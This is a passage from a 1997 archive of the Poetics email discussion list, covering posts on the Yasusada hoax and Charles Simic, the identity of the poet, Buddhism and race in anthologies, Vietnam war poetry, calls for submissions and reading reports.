Tom Orange seems to me to come closer than Simic to an accurate understanding of how poetic insularity has been maintained while theoretical insularity has broken down, when he writes that:

> one measure of the ways in which (primarily french) theory has enjoyed a
> "translational advantage" over other foreign-language writing (poetry,
> fiction, etc.) as a function of academic disciplinarity:
> . . . .
> certainly very few foreign-language poetic/fictional/dramatic texts in
> translation could ever have enjoyed the uncritical, unquestioning embrace
> of north american english literature departments in the 1970s and 1980s.

This, I think, is a fair statement of how things stand. And when I say we need more people like Simic, I don't mean more people who fire off angry squibs to the Boston Review, I mean more people who do more to end this insularity than simply grumbling about it (here's where Another Republic, The Horse Has Six Legs, etc., come in). The sort of work Simic has done deserves the kind of attention that Spivak has received for translating theory, and rarely gets such attention.

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045

http://www.lfc.edu/~archamb/

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726. **KENT JOHNSON**

Light from Another Country

Wed 25 Jun 1997

As someone who has been close to the "Yasusada affair," I'd like to say just a few words regarding the Aldon Nielsen and Stephen Ellwood contributions on Charles Simic. To be direct, but in a friendly tone: "What the hell are you guys talking about?" Simic's response to Perloff has a few sentences, at most, that relate (and in the most impressionistic and light-hearted way) to the privileging of "theory" over poetry in the academy. How you squeeze all of that heavy critical juice out of a couple nutmegs of Simician wit?

Simic's central argument (tho he admits he has only read the APR selection, a small part of the Yasusada/Motokiyu oeuvre) is not complicated or at all difficult to see. It is that Yasusada's poetry is most unremarkable and that any poet worth her salt can see such. As illustration, Simic quotes two stanzas from a poem titled "Loon and Dome," (see Aldon's post from today) claiming that if a Frank Kowalski from Milwaukee had submitted such writing that it "wouldn't stand a chance." But Simic's choice of stanzas is interesting, because in the context of the complete poem, the section in question is clearly intended by Yasusada ("clearly," that is, even given what I will say below) to be read as poignantly trite and sentimental. The whole poem is available in the APR "special supplement."

Now, it's possible to satirize a good many poets through out-of- context quotes, and I think Simic has the perfect right to do so with Yasusada if he likes. But that CS chose this particular passage as representative seems to either A) suggest a lack of attentiveness on his part in reading and evaluating Yasusada's work, or B) suggest that he is more or less struggling to find a passage he can poke good fun at so as to bolster his thesis. (And now that I'm thinking about it, I guess the same could be said for Aldon Nielsen, who approvingly quoted the passage!)

It's not a bad thing that Simic doesn't like Yasusada. As Marjorie Perloff--who in her summary strongly disagrees with Simic's assessment--puts it, the most notable area of disagreement in the Boston Review mini-essays has to do with the question of Yasusada's poetic value, and contention around this point (after all the near-unanimous gushing from "mainstream" and "avant-garde" corners alike) is a not unwelcome development to all those who have been intimately involved in AY's fascinating life. In fact, this could be seen, I think, as a new issue or phase, if you will, in the general Yasusada problem: how should works which are not strictly poetical but also highly elaborate gestures of critique be judged--particularly when such works have no solid writerly source against which to press judgement? To say that the poems are "good" or "bad" as

poems (or as drafts, letters, English assignments, shopping lists, etc.) is one way of reacting, but I think it is more complicated than that; there's a whole complex aura (tho there must be a better word) that has developed around Yasusada that by now substantially complicates the matters of reading, classification, and critical ranking.

In the eight Boston Review responses, Eliot Weinberger is the only one to hone in clearly on this issue, and while Simic's piece has some amusing moments, Weinberger's (ok, I'm biased) is even better. In fact, I heard from EW just the other day after he got back from the Rotterdam Poetry Festival. He told me that he met with Simic there and that they chatted at length about the Pearl poet and disagreed vehemently about Yasusada. And then they parted amicably and went their own ways, each surrounded by small throngs of swooning and screaming Dutch girls and boys, reaching out their books of Serbian and Spanish translations for signing, straining to touch even the sleeves of these two immortal heroes of late 20th century American letters.

There are still some places where people care about poetry.

Kent

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727. Joel Kuszai
I keep getting reject (fwd)
Wed 25 Jun 1997

---------- Forwarded message ----------
Date: Tue, 24 Jun 1997 22:28:29 -0700
From: Juliana Spahr <[redacted]>
To: [redacted]
Subject: I keep getting reject

My internet service provider keeps changing my email address so now I can't post to poetics list. Could you please forward the following for me? Is there anyway to correct this?

Juliana

Chain / 5
DIFFERENT LANGUAGES

call for work

For this issue we are looking for work that challenges monolingualism and other forms of
linguistic standardization. Some possibilities: work written in more than one language,

in nonsense, in zaum, in created languages, in Esperanto, in invented visual languages,
in iconic languages, in notation, in scores, in symbolic languages, in colloquialisms,
in dialect, in rebuses. Submissions may address or enact these or other possibilities.

As always, we especially encourage collaborative, interdisciplinary, and mixed media
work.

Please send poems, essays, performance texts, film or video scripts, camera ready visual
art, musical scores, choreographic notes, etc., by December 1, 1997. For best results,
please send copies to both addresses. Please enclose self-addressed, stamped envelope.
Please do not send e-mail submissions.

Jena Osman Juliana Spahr English Department
Department of English Ursinus College University of Hawaii,
Manoa P.O. Box 1000 1733 Donaghho Road Collegeville, Pennsylvania 19426-1000 Honolulu, Hawaii 96822

Please note these change of addresses!

Please spread the word.

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728. Henry Gould
address query
Wed 25 Jun 1997

Looking for an email address for Nancy Peters at City Lights Bks. Please backchannel only : [redacted]. Thanks! - HG

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729. Pritchett,Pat
Re: Killian at Naropa
Wed 25 Jun 1997

Got to hear Kevin Killian read last night at Naropa's Summer Writing Program - and to meet "The Man Himself" as well as the delightful Dodie Bellamy.

Kevin did more than just read, I should think - he appropriated the podium with bravura, wit and a warm, excited energy. There were six poems, all of them

marvelous: first, part of his series of Dario Argento/HIV poems ("the field of the open human page"), which juxtapose the tragedy of human suffering with the unreal nightmare imagery of horror films. Then an elegy for Larry Eigner & Bob Flanagan. An imitation of a John Wiener poem. Another Argento piece, "Trauma." A very moving poem for Steve Abbott ("a thirst so deep confession doesn't cover it"). And a funny poem called "Zombie" from a series edited by Rod Smith and others about "Prayer in the Schools." He made the connections seem evident: between the first surprise of desire and the painful surprise of pathos. Bravo, Kevin!

Gloria Frym also read. Her story, "To See Her In Sunlight Was To See Marxism Die," (from Brodkey's story, "Innocence") was a finely crafted examination of a lingering divorce in which the commerce of the heart is conflated with the decline and fall of communism and the greedy logic of late capitalism.

Maybe more later...
Patrick Pritchett

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730. **Hoa Nguyen**
Re: long article up for criticism if yr up for it!
Wed 25 Jun 1997

Kali wrote: (in part)

"And, Eliza, I do know Weigl's poetry--even know Weigl, though merely in passing, as a table-mate at conference dinners. I consider his work to be carefully wrought, but more self-consciously literary (more in the MFA loop, I suppose) than the writing I like best. He and John Balaban are the most celebrated Vwar poets, like Tim O'Brien and Robert Olen Butler are the most celebrated Vvet novelists, but in all of their cases, I find that the ultra-refined nature of their work actually undercuts the message that they are ostensibly trying to get across. I like their early works best, and find that at each remove, the intensity and the clarity of the poems are dimmed, though structurally they are more elegantly contrived. Actually, the vet poetry you heard/read at the Joiner Center's writing workshops is probably mostly the sort of vet poetry I *don't* much care for, though a few writers I admire are in regular or semi-regular attendance (Ehrhart and Leroy Quintana come to mind immediately). "

-- one American poet writing on the American war in Vietnam not mentioned by Kali here is Yusef Kumanyakaa, in his book Dien Cau Dau (spelling?-- "dinky dow" in slang meaning "Crazy people"-- what the Vietnamese called Americans). I heard him read from it over ten years ago and it was a pivotal experience for me, particularly because he is a poet of color. I reccommend it highly. His

later works do not deal with this subject matter and his work has gotten better--more interesting, less strictly linear. (He won a pulitzer!)

cheers--

Hoa

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731. Joel Kuszai
WARNING: personal info
Wed 25 Jun 1997

Hello, A Form Letter
a sort of electronic postcard

I'm sorry for the personal nature of what follows. I am not sure if that is allowed in poetics. I've not been able to read Poetics but will now be receiving the digested version. Therefore, I am not sure of the tenor of the conversation I am stumbling back into. please forgive-

For those of you who have been wondering what has happened to your local "fool," please allow me to indicate en masse, what the hell is going on. I'm sorry I've been out of touch. It has been difficult for me to get access to e-mail and I have also been happy to have been freed from the electronic yoke for a couple weeks. I'll be back on line regularly, but it may be several days before I am able to log in again. Soon, I hope to get e-mail here locally. If I had known it would have been this much of a hassle at the university, I would have gone with AOL. Anyway--the delay is over and I should have a new address within a week or so.

While I had wanted to get away from Buffalo for all sorts of reasons I would be happy to discuss back-channel, part of getting out of Buffalo and coming here was/is family related. More than a month ago, my father and I drove to Boston to help my sister move out of a bad marriage complete with domestic violence and a 22 month old boy, who is now living with us here. My sister has come home with a complex set of obstacles in front of her. She is a very strong person who is very fortunate to have the emotional and economic support of my parents, while she transitions into her new life, addressing the situation she has faced. And her little boy, who is so sweet and magical and smart and conscientious. I've not really spent much time around little kids: I've been fortunate to meet the Bernstein children, Benjamin Sherry, and Kate and Nora Alexander--but it has been a while since I've seen any of them. Dylan, my sister's boy, is now saying sentences (however simplistic: Joel throw ball on roof, mommy

happy, hug mommy, etc.) counting to ten and he knows his alphabet, nevermind about ten or so species of beenie babies. He also seems to be a very good listener, and through listening he is able to learn quickly. So it has been fun for me, even with the gravity of her initializing agony in coming home. The "domestic violence" she suffered was of the psychological variety (although on a collision course with physical violence), and was related most immediately to issues of "control"--as she had surrendered her "career" for staying home with baby, etc. Anyhow, good things come of difficult situations. An example of this would be the fact that through her participation in a support group, she will probably become involved in "helping others" in some kind of voluntaristic way. Another example of this might be a discussion that my composition class had about domestic roles, domestic violence, etc. We had a great talk, did some role playing, all in the effort to get "on the table" a number of issues raised by an essay by Angela Davis on domestic housework that we had been reading for class. To make a long story short, by the end of the semester, several women came forward to discuss violence they had encountered either at the hands of boyfriends, or harrassment they experienced in the workplace. The most severe of these involved a nazi skinhead boyfriend who was beating this very smart history major at UB who happened to be in my class and happened to write a great study of the roles of women in the civil war (complete with an intersting bit about these women who dressed as men in order to fight)--and this from the woman who came forward very very frightened I have learned a great deal about this community in suburban buffalo. Anyhow, it was emotionally draining and I'm surprised I didn't end up at the counseling center myself. I have this feeling they would have loved for me to stop by (I talked with them via phone while making a referral in the situation I just mentioned).

You can imagine joy and also the difficulties we are facing here, as my sister gains her esteem back, now with full-time job here with benefits, and getting the young genius into a good daycare/preschool situation. That has been achieved, and everything is looking rosey. As you can imagine, there has been incredible strain on everyone's sense of how they were used to doing things. And my sister has been adjusting and recovering very well from where she was only a few months before. My parents house is one of those classic midwestern two-story homes with an open porch perfect for afternoon ice-tea. Michigan is beautiful and green lush; East Lansing, unlike Ann Arbor or Detroit, is kind of a lazy cow town where they train people to train the cows. The pastoral surroundings are now a replica of the vicinity of the campus before it was carved from the Michigan frontier about three or five miles from the Capitol building. MSU's campus makes the ugly austerity of University at Buffalo a shocking fact to consider. I've been in my car only twice since arriving here (although I did borrow my dad's jeep and his fuzz buster for the hour-trip to Ann Arbor a few times).

The university library is within walking distance and when I'm not throwing a giant pink bouncy-ball onto the roof to the screeching delight of little Dylan, I'm usually over there.

The MSU library gave me a community card, and this took some doing because you're supposd to be a michigan resident. The library is significantly better that the UB system and unlike Lockwood, the books are actually on the shelves there. There is a down side to that, howver, and it relates to what people read in what places. While I see lots of people reading and studying everywhere I go (and like Ann Arbor, E.L. has about 6 smoking cafes and 10 non-smoking cafes within walking distance of the university) I get the sense that I'm at least an hour from the closest branch of the metropolis.

MSU has lots of great stuff to read that UB doesn't own and since settling into a rhythm I've been reading mostly "radical history" papers; memoirs of prison life in the 40s by pacifist objectors; early days of civil rights movt. (CORE, Fellowship of Reconciliation, etc.), anti-war stuff from the 40s, 50s, 60s, and also education materials on the "modern school," which became known as the "free school" movment in the 60s & 70s. There are lot of people around here who have done work in this area, from labor history to "radical" or undergound pop culture--and there is a lot of it to go through. Lately I find myself reading about the Attica uprising and the fact that members of the Minutemen drove by the Unitarian Church on Elmwood in Buffalo in 68 firing multiple rounds, sending the religious and pacifists scurrying. The church membership had voted itself a "symbolic sanctuary" for the draft resisters who had made their protest public and when the cops came down on the place they busted some heads...

I've been reading issues of the Partisan Review, trying to gain some perspective on the issues writers faced when USA was getting ready for war and war was well raging. I didn't know about the Minnesota case or that earliest jailings for refusing conscription were before war was even declared. D. Macdonald and the Politics crowd are my new heroes. Long live Poetry dead! There is a lot to this topic and is the fermenting soil from which I'm growing my dissertation, which is about the anarchists in the new york region during that period. I found a really useful book by Alan Wald on JT Farrell and it helps me structure my ideas about what the tensions were in the left- activist writers from the period. Farrell has been a useful figure for me to study, and the story of what happened to him is a useful paradigm for how I have felt in that endless and cliched debate about writing and politics. More on all this later, as it is really where I am at.

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732. Thomas Bell
abstract
Wed 25 Jun 1997

---

art of civilization

if there are libraries, there are books. if there are books, there are readers. if there are readers there are people. if there are people there is humanity.

if there are televisions, there are shows. if there are shows, there are viewers. if there are viewers there are people. if there are people there is humanity.

if there are books, there is poetry. if there is poetry,
there are readers. if there are readers there are people. if
there are people there is humanity.

If there is televison, there are shows. If there are shows, there are viewers. if there are viewers there are people. if there are people, there is humanity

if there is media,

if there is an internet,

if there is a WWW,

possibly.

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733. Thomas Bell
personal
Wed 25 Jun 1997

Blues

"I was still replaying the old and painful patterns of my childhood, still getting lost in the same anger and fear that had been there through my adolescence.... There are things we need to learn in relationship to one another that are not learned in isolation or solitude...after lots of attention to healing my emotional wounds and learning to relate more wisely in the heart, I discovered that I needed to relate more wisely with my body."

hollyhock's sunken face
grasped rage
her moonbeam
held smiles
all entered

Telling
pain

again begin process
healing
We go

on
living closed lives.
Anger moves. It lasts as long as it needs to have its say.. It crackles and brittles to hatred
at times

Dead dry brittle was as a place of the preservation of the remembrance of things a time for renewal a deep point of refraction heats reflection where 'Israel' found itself in the process of Exodus, and where Jesus faced the Temptations.

Lullabies she sang
still hold back the night

apropos of moonlight becomes you so
agony remodels my mind.

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734. Joe Amato/Kass Fleisher

Re: long article up for criticism if yr up for it!

Wed 25 Jun 1997

---

david i, thanx for the lines!...

"amat" yes, but no, relation "amato" only to a small fishing village in sicily (where my grandfather was a, uhm, fisherman)... and his brother sailed to sydney, where i may have relatives (and hope someday to find out)... anyway, no money on that side...

now on my mother's side (she a french citizen by birth, her mother german, her father french), it's "bourgoin," but i've just learned (not three weeks ago) that my maternal grandfather was, so to speak, a bastard, and that his real father was in fact jewish... so bourgoin is not, uhm, real... but anyway, the war took care of money on that side...

well so, i'm not a buddhist!... and betwixt that thread and the one on identity, as well as the incipient (to my eye) thread on the status of identity in translation, i'm not sure what to say!... but herewith an actual rejection my wife (kass fleisher) rec'd from an agent not long ago, just to stir *all* the waters some:

"How nice to hear from you again -- but I'm afraid the state of the publishing industry is even worse than it was in 1993, when we last corresponded. I really like your writing, but your aversion to plot would make it very hard to place

your work, especially since it is not translated from the original Czech, Swedish, or whatever; for some reason, foreign authors are allowed to dispense with a strong story line, but this is an indulgence not granted to homegrown first novelists. I know it's not fair .... This novel is something that might well appeal to one of the small presses, but we've given up dealing with them; an agent's chief responsibility is to see to it that authors are paid promptly and in full, and the chronic cashflow problems of most small presses can often make this basic obligation impossible to fulfill."

i should add only that kass and i read and support small presses, and that neither of us view this response as an anomaly... and also, that this agent seemed to us most forthcoming, which we both appreciate...

best,

joe

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735. **Peter Landers**
Re: abstractly personal
Wed 25 Jun 1997

I think you should publish whatever you damn well please and not worry about the words "good" and "bad". In my opinion, those words are bullshit. Everyone does what they want and there's no need to write extensive explanations for it (unless that's what you want to do). I like what I like and I might hurt myself with this decision, but I avoid topical anthologies. Content isn't really what I'm after.

Pete

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736. **Hoa Nguyen**
Re: Buddhism and Racism
Wed 25 Jun 1997

I am interested in continuing this discussion about poetry anthologies/inclusion/exclusion. Thanks to D. Brink and D. Isreal for keeping up the dialogue. I will have more to write later (feeling a little silent/silenced at the moment) but wanted to respond to two things:

first re: Snyder's poem-- China Beach is in San Francisco. It is so named because Chinese fishermen/residents of the city would/were allowed to fish there.

and secondly an errata to my original post where I wrote:

"Frank Chan, in his foreward to __ The Big
Aiiiiiiii!__, was in fact, highly critical of fellow Chinese American
writers ..."

should have read Frank Chin ... in The Big AIIIEEEEE!.

More to come!

Hoa

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737. Aldon L. Nielsen
Re: " . . . "
Wed 25 Jun 1997

Had Simic argued simply that the Yasusada affair evidenced a certain regretable insularity among American readers and writers I would have no objection -- but that is hardly the issue here -- Is it a matter of fact that, say, fewer American grad. students read Serbian verse now than earlier, ans is that demonstrably attributable to the "rise" of theory, etc. -- and in any event, how would that authorize the reprehensible misrepresentations of "theory" found in those Boston Review letters? I seem to remember that when I read Derrida, for one example, I kept running into essays on Jabes, Joyce, Celan etc. -- I might wish that he wrote on occasion about Spanish language poets, but the texts of Derrida are not a good place to look for support for the argument that Thoery doesn't care about literature -- and so on -- The insularity that Simic complains about is real, but it is not the result of the "turn to theory" -- and I'd bet we could fairly easily document this sort of insularity at the height of the New Criticism, without feeling compelled to blame it on the NC --

People should read more, should read more from other parts of the world, should read beyond the narrow slice of materials they can get in grad. seminars -- who would disagree with any of that -- I happen to believe that people might also do well to be a bit more careful about attributing such phenomena as Yasusada to other phenomena which may have little to do with it -- I can't believe that the editors of APR were taken in by the Yasusada materials as a result of their having been narrowly indoctrinated in French theory at grad. school --

There's also this in Simic's letter:

"If a Frank Kowalski, a retired milkman in Milwaukee, submitted something like the following to a literary journal, does anyone really think he would seriously have a chance:

> I've waited all week, you quietly said,
> to be with you here in this magical place,
> and to tell you something beautiful.
>
> (It was your sentimental heart
> that always made me laugh
> and this stain on the page is spilt tea.)"

Whether the author has been presented as a retired milman or not, the fact is that our poetry mags are filled with exactly this kind of verse -- I suspect that Mr. Kowalski might indeed have a chance -- might even increase his odds by changing his first name to "Stanley."

I am a former tree chopper/campus cop/computer systems analyst/shoe salesman/community services worker myself -- With the possible exception of Sterling Brown, few of us were born to academia and poetry --

yours for more reading all around,.
aldon the Dane

↑ Index

738. Bobbie West
more Vietnam
Wed 25 Jun 1997

Just curious -- what do those of you familiar with Vietnam vets' poetry think of Terry Hertzler's _The Way of the Snake_?

Bobbie

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739. Mark Weiss
Personal Identity as Text vs Stands on its Own
Wed 25 Jun 1997

I promised myself not to get involved in this one, but here goes.

Those of you who read Middle English are probably aware of the greatest of our anonymous poets, the Pearl Poet, author of the dream-vision of that name and of "Sir Gawain and the Green Knight," as well as two shorter pieces. In times past much ink was spilled in an attempt to nail down his identity, but to no avail.

A good friend of mine was a student of the middle ages at Berkeley during the late 60s. A combination of political despair and some very good drugs had made him increasingly restive in graduate school and more than a little strange.

It happened that he was required to write a paper on said anonymous poet. He struggled with the project for weeks and came up blank--nothing to say. Then in a dream the solution to his problem came to him in the form of a figure in medieval dress announcing to him "I have come to tell you a great secret--the true identity of the poet you study. It is I myself, Bowtwine Lincoln by name."

My friend awoke in a frenzy of excitement--he knew what to write. He produced a careful account of the identity question that no one had cared about for a good 40 years and ended by declaring that he had discovered the answer and describing the manner of its revelation. It was his last act as a graduate student at Berkeley.

I hope that my account will help clarify some of the issues in this discussion.

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740. David Bromige
identity of the poet
Wed 25 Jun 1997

I think we derive the poet from the poem. "Wallace Stevens" is not an insurance lawyer. He might perhaps have been a South American diplomat. I am agreeing that we want the poem to have been uttered from a person. (Kierkegaard in his "Concluding Unscientific Postscript", where he writes that it is an act of faith to read another's poem, & the faith is, that there was a reality present during the composition that has some equity with the reader's own, I find persuasive). But I am saying that the biographies do not necessarily satisfy, & that I believe one has the right to discard bio-info that in one's imaginative view, doesn't fit the poet one constructs from the poetry. Yeah, sure, it can be fun to observe the timidities encoded in Eliot's poetry, & then fit that in with the fact that he had a double hernia which he never got fixed. And, sure, one can use such details to elucidate meanings not otherwise likely to surface. But I take it that the poem was written whatever the poet's necessities) for me, me the Big Baby Reader or the Sullen Solitary Adolescent Reader, Me the Otherwise-Muddled Midlife Reader, Me the Incredibly Aged Senile Reader, all of those Mes at once if applicable. So "Pull down thy vanity" I read with myself & need never know that its Pound's remorse in the hoosegow. My remorse has other sources & causes. David.

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741. **Stephen C. Ellwood**
Re: long article up for criticism if yr up for it!
Wed 25 Jun 1997

On Wed, 25 Jun 1997, Maria Damon wrote
  i find it uninteresting to evaluate work
> solely (if at all) by its "literary merit," whatever that means. i tend to
> think of things as "interesting" or "boring,"

I am so glad to have someone other than myself articulate these (to me) essential, I would even say primary, catagories of artworks. It expresses the subjective nature of reading/looking in a totally earnest and unpretentious way.

 and of course those
> categories are highly dependent on context, what i know of the poem, poet,
> or cultural work the poem does or intends. in one context a work is
> interesting, in another, it's boring or seems out of place.

I would go farther and say that from a poet or artist about whom I have one set of information (one code of desires) a work will seem boring, while from another the same exact work would be compelling, make me sick with yearning...and isn't that the name of the game.

  furthermore, i
> take some issue with the concept that "background" (a word that itself
> subordinates certain kinds of information) is an extraneous add-on (my
> students often have mixed responses to my historicizing --it's either
> "helpful" or it doesn't leave enough time to dscuss the "actual poems"
> --but i keep trying to say that this isn't "background," this is *it*).

The idea of teaching the work of non-contemperary (dead) artists/writers from their identities outwards is interesting to me because where is the space for yearning when the object of desire is dead, only the documents of her still perpetuate her self?

 i
> also understand, though, that practitioners have different investments in
> poetry from critics lke myself, and may have strong feelings about seeing
> poets whose work they do not respect getting critical attention. still,
> there's enough kudos and appreciation to go around. let's not let this
> scarcity mentality prevent us from enjoying a full spectrum of poetic
> activity.
>

It's very true, and remarkably perceptive of you to notice, that it's hard to watch those who's work we don't respect getting published/celebrated, but I propose that this is one the instances in which our subjectivity in critique comes

into play the most; that is, I think that when we are resentful of a y saying its their work we object to.

Sincerely, EVD

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742. Carrie Etter
Sharon Doubiago
Wed 25 Jun 1997

I am trying to find out the publishers for two of Doubiago's early chapbooks: _Hymn to the Cosmic Clothesline_ (1978) and _Visions of a Daughter of Albion_ (1980). Also, is anyone familiar with Gorda Plate Press, which apparently recently published Doubiago's _The Husband Arcane. The Arcane of O._?

Thanks,

Carrie Etter

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743. Jonathan Brannen
Amos Tutuola
Wed 25 Jun 1997

I am saddened to learn of the recent death of the remarkable Nigerian novelist, Amos Tutuola. Rooted in Yoruba folklore, Tutuola's inventive fiction transcends conventional narrative. No other contemporary writer of English language fiction (with the exception of Harry Mathews) has produced a body of work that has given me such pleasure. As a reader, I will miss him.

Jonathan Brannen

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744. Hoa Nguyen
A Buddhist's Credentials
Wed 25 Jun 1997

Hi. Dale here.

Dean Brink wrote:

"American-style Buddhist-based poetics may enjoy an integral duplicity: while the Western lyric subject displays an understood sense of a logocentric context, it would be interesting to trace the development of the (rhetorical) dispersion of subject in American Buddhist-inspired poetry. What rings as being in "bad faith" is the appropriation of an image of Asia that exists for the pleasure of the

poet? When the Johnson post came up, it was an opportunity to open up this can of worms."

But the can of worms he opened with Kent Johnson was already full of sharp hooks. It didnt't resemble the more thoughtful posting he sent to Hoa. In fact, he misread and condemned Kent as a racist without the same kind attention given to Hoa's problems with himself.

As a Buddhist, Dean Brink should know that race, religion, and poetry are perhaps a bit less binomial than he acknowledges. His indignation over the anthology in question narrows the more open concerns regarding questions of poetics and race. I suppose it is the dualistic and academic foundations of his thought which shape his responses to both Kent and Hoa. But his social scrutiny lacks any personal awareness as an active participant in the very white constructs he critiques. Kent's anthology, whatever problems we may have with it - aesthetic, political, religious - represents one designed collection of American Buddhists who practice poetry. To label Kent a racist based on this collection reveals more of a readiness to indict, rather than a willingness to confront, the key issues of race Hoa attempted to address in her post. Ultimately, the exclusion of Asians in Kent's anthology is probably more of a testimony to his honesty on this score than if he had secured a few token representatives for his project. Afterall, Kent respected the limits of his position as a white American Buddhist. Something, perhaps, Brink finds too truthful, in the end, to imagine happening in himself.

Kent should have had his wrists slapped, however, for omitting his own credentials as a practicing Buddhist. I once heard, for example, he sucked the dregs out of D.T. Suzuki's tea pot on a pilgrimage to see the great teacher in San Francisco, 1971. Suzuki was reported to have taken the young Kent by the hand to give the following invocation: "Dear boy, collect poems written on origami bird wings. Freedom is a cherry blossom!"

Dale Smith

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745. **Joe Amato/Kass Fleisher**
Re: identity of the poet
Wed 25 Jun 1997

---

i think, david b., that what you say probably reflects my reading... mood too most of the time... not always, but most of the time... i wonder too the ways in

which picking up a book of poems (e.g.) encourages that response more (or less) than picking up a book of theory... again, i'm not drawing any hard and fast distinctions here... but i do tend to pick up one with different expectations than the other (i'm trying not to get all muddled in intrinsic textual differences etc.)... so when i'm reading stevens, say, i tend to try to put aside his insurance company lifestyle (not always!)... with other poets i'm perhaps less... generous?... anyway, is it easier or more difficult (or does it make no difference?) to fret the biographical details of a critic vis-a-vis a fiction writer vis-a-vis a poet vis-a-vis ____?... i'm sure there are (generic) differences, but it's far from clear to me how they play themselves out...

best,

joe

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746. David Bromige

pearl poet, french theory of apr editors, kevin & gloria, class

Wed 25 Jun 1997

Mark Weiss,thanks for a nicely unfolded tale! --Here again we have a poem whose poet exists only as imaginative conjecture derived from the poem itself--! Can you b-c the name of that student, & his professor? I ask this out of idle curiosity. I was there then & might well have had that dream myself. I remember the paper I wrote, a survey of authorities on the significance of *green* in _G&the GKnight_. It meant everything. It meant this, & it meant the opposite of this. Most poetical, & a handy intro to grad school.

A friend of mine from those days (we took to one another on the first day of the medieval lit class, when someone declared that she hoped to know more about the 12th C than she knew abt the 20th by December, & he & I noticed each other rolling his eyes up), Erik Storlie (Erik the Minnesota-Norwegian), has recently published, with Shambala, a book titled _Nothing on my Mind_, in part a memoir of Berkeley in the 60s (A subject abt which I expect soon everyone to know more than of the 90s); in part a tale of his quest for enlightenment thru the Buddha. Theres plenty about the dept of eng, & the drugs it drove some poor unfortunates to. An immodest & likely unnecessary caution: dont buy the book to read abt me. I do not appear at all, although Storlie & I were as close as W.C. is to Fields; I can only suppose my absence is down to my thoroughly recalcitrant disposition vis-a-vis lasting enlightenments.

I enjoyed also Aldon the Nebraska-Dane's posting whose key sentence for me was to the effect that he doubted a narrow education in French Theory caused the editors of APR to publish Yasusada. Charles Simic is a longtime friend, & I have yet to see the letters in the Boston periodical. Wherever you live, though,

that sentence of Aldon's has the smack of pit-&-prune-juice. Robert Archambeau (could that be French-Canadian?) makes me feel better about Charlie's rep on our List, & he is wise to point out Simic's contribution in a way that suggests grounds for the impatience of the Chicago-raised, New-Hampshire-based-Serb--author of a splendid memoir, that being one thread in my post, _The Unemployed Fortune Teller_ .Good summer reading!

Pat Pritchett (place in the multicultural soup as-yet undeclared) does a fine job with Kevin's reading & Gloria Frym's. Keep us posted, Pat! Salaam. David-the-PacRim-Cockney (class: working-climbing-into-lower middle/middle, subsequently become declasse thru all that reading & being allowed to pass as a poet, but you can still tell by the way he handles the patie de foie that his origins are the kind he has to be proud of, since noone else was).

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747. **Kali Tal**

Re: identity of the poet

Wed 25 Jun 1997

David writes;

> *But I am saying that the*
> *biographies do not necessarily satisfy, & that I believe one has the right*
> *to discard bio-info that in one's imaginative view, doesn't fit the poet*
> *one constructs from the poetry.*

That's one way of reading, though it surely wouldn't work for me. Granted that we are all trapped inside our own heads, it still seems worth while for me to assume that there are Others out there--also trapped in their own heads--who are as real as I am.

And, well.... now that I've started down the slippery slope of acknowledging that there are other intelligences out there and that I'm not the only consciousness in the universe, it starts to look like the certainty that each poem was written for *me* is not only unfounded, but also a mark of my privileged status as a particular kind of reader (*your* poem can't hurt *me* because *you* can't hurt *me* so I can damn well read it--and define *you*--however I want). I'm not sure what gives a person the "right" to do anything, *except* power of one kind or another.

And even if you do sit in such a privileged position that your readings are safe and protected, if you read a poem however you want to, how do you ever *learn* anything or discover anything *new*? Language does what it does because it is--at some level--linked to a belief in identity, in naming, in the faith that something can come in from Outside. We can fuck with that belief--which I understand language poetry does--but we can't do without it... even when we

build careers based on riffing on it. Guess it's that Af-Am theory background coming into play again, but, hey, I yam what I yam, and if you keep substituting your garden variety spud for that sweet potato, you're gonna miss all that good brown sugar and honey for sure. And, worse, you're gonna have a hard time predicting when the less privileged are ready to turn the system (and you) upside down and inside out.

Yo, Joe, I don't think you and David are saying at all the same thing here. Reads to me that he's not just talking about *ignoring* a poet's bio, but MAKING ONE UP for the poet if the "real thing" doesn't fit his desires/expectations. I think other poets exist, and that they write poems, because I think other *people* exist. I admit we will never *know* these other people in the way we know ourselves, but there's a benefit in the attempt. The more cues/clues we can gather Outside, the richer our insides will become and (like most of us who *aren't* privileged in ways that allow us to ignore Outside meaning), the longer we'll survive.

Kali

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748. David Israel
the Green Knight / & Kieslowski
Wed 25 Jun 1997

Speaking of the Green Knight --

[careat: the following is a bit of a ramble, but does involve the two figures mentioned above . . .]

I've roped myself into writing an essay for *Projections* (a DC-based little journal published by the Forum for the Psychoanalytic Study of Film) -- said roping having been accomplished through the expedient of opening my big mouth. Said journal (btw) has presented a

CALL FOR PAPERS, as follows:

"Projections is calling for contributions to an issue focusing on the work of Krzyssztof Kieslowski, to be published later this year [1997 -- I was told papers are being gathered in early July or something - yikes. -d.i.] Please submit three copies, double-spaced, with an accompanying disc of possible, to: Projections, 3502 36th Street, NW, Washington DC 20016 [redacted]"

What has this to do with the Green Knight? Only that the latter (like the topic of my Krys. Kies. paper) is sometimes construed (or construable) as identified w/ the legendary figure of Khizr (of Islamic-land lore), sometimes known as

"The Green One" (who happens to hang out, when he's not off teaching Arthurian lessons, at the well of Zim-Zim).

Krys. Kies. is, you know, the late great Pole film-man whose Decalogue, and subsequent trilogy (BLUE, WHITE, RED) have seemed -- to me -- high points of contemp. cinema. The last-named film (KK's final work) features the figure of a European retired judge whose hobby is listening in to his neighbor's phone conversations (using a certain radio technology for the purpose). My little thesis is that this judge figure is patterned after the Khizr known to legend, esp. that in the often-seen tale of Moses & Khizr (one brief form of which appears in the Koran itself). Khizr, who was a knower of destiny & of the hearts of all [said latter trait wound by KK into the conceit of hearing the phone calls of all] tended to meddle in human affairs in ways that, superficially, seemed suspect, but proved entirely benign. Such (I opine) is likewise the case w/ KK's judge.

Anyhow, I've very little time, it seems, to get this paper together, and haven't even begun to assemble materials. For the tale of M. & K., I'll prob. look in Rumi's Mathnawi. A friend remarked that Carl Jung has an essay dealing w/ the figure of Khizr (which might well be where KK picked him up). Meanwhile, if anyone in Poetics-land happens to have info, views, cites, or whatnot concerning either Khizr of Krzysztof Kieslowski or the film Red, I'd welcome whatever input or opinion or whatnot. Backchannel is fine (unless it shd. seem of generalist Poetics relevance, or GPR).

Haven't heard mention of that Pearl Poet in long time. What I was wondering was -- the name of the chap revealed in dream, -- is that a real, known, documented figure?

A lovely story, yep.

d.i.

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749. **Mark Weiss**
Theory
Wed 25 Jun 1997

